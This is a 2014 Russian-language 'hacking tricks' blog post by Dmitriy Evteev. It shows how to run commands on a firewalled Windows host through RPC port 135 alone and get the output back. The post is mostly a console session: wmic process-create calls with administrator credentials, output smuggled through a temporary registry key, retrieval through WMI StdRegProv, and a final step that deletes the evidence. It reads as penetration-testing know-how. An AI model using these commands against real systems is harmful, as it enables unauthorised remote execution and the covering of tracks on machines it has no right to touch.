28 Марта, 2014

[hacking tricks] Exec via RPC with output

Dmitriy Evteev
Иногда бывают такие ситуации, когда на удаленном хосте под управлением операционной системы Windows (выше 9x)) файрволом прикрыты все управляющие порты (SMB, WinRM, RDP, etc) кроме 135/tcp RPC. И вот вроде бы и нужные права имеются, и даже удаленный exec отрабатывает, но ходишь вокруг такой машины, как слепой котенок, облизываешься, в надежде, что msf multi/handler выдаст заветное приглашение. Пора прозреть!


Предлагаемый мною способ прост как две копейки и основан на возможности работы с реестром через WMI (к слову, служба удаленного реестра тут не используется). Пруф ниже.

ЗЫ: концепт схож с подходом, используемым парнями из DSEC при выполнении команд через Quick Console в Lotus Domino .


C:>

C:>net use RHOSTC$
Системная ошибка 67.
Не найдено сетевое имя.

C:>wmic /node:RHOST /user:administrator /password:password process call create "cmd.exe /c ipconfig > C:WindowsTempcmd.out"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 2648;
ReturnValue = 0;
};

C:>wmic /node:RHOST /user:administrator /password:password process call create "cmd.exe /c for /F "tokens=*" %A in (C:WindowsTempcmd.out) do @reg ADD HKLMSoftwaretemp /f /v "%A" /t REG_SZ /d """
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 2760;
ReturnValue = 0;
};

C:>Wmic /node:RHOST /user:administrator /password:password /namespace:rootdefault class stdregprov call EnumValues ^&h80000002,"SOFTWAREtemp"
Executing (stdregprov)->EnumValues()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ReturnValue = 0;
sNames = {"Настройка протокола IP для Windows", "Ethernet adapter Ethern
et0:", "DNS-суффикс подключения . . . . . :", "Локальный IPv6-адрес канала . . .
: fe80::b0ae:a410:4089:21f5%12", "IPv4-адрес. . . . . . . . . . . . : 172.30.0.
2", "Маска подсети . . . . . . . . . . : 255.255.0.0", "Основной шлюз. . . . . .
. . . :", "Туннельный адаптер Teredo Tunneling Pseudo-Interface:", "Состояние с
реды. . . . . . . . : Среда передачи недоступна.", "Туннельный адаптер isatap.{8
6A92B92-E3DE-456B-9EDB-24B724A73E3E}:"};
Types = {1, 1, 1, 1, 1, 1, 1, 1, 1, 1};
};


C:>wmic /node:RHOST /user:administrator /password:password process call create "cmd /c del /Q /F C:WindowsTempcmd.out && reg delete HKLMSoftwaretemp /f"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 3716;
ReturnValue = 0;
};

C:>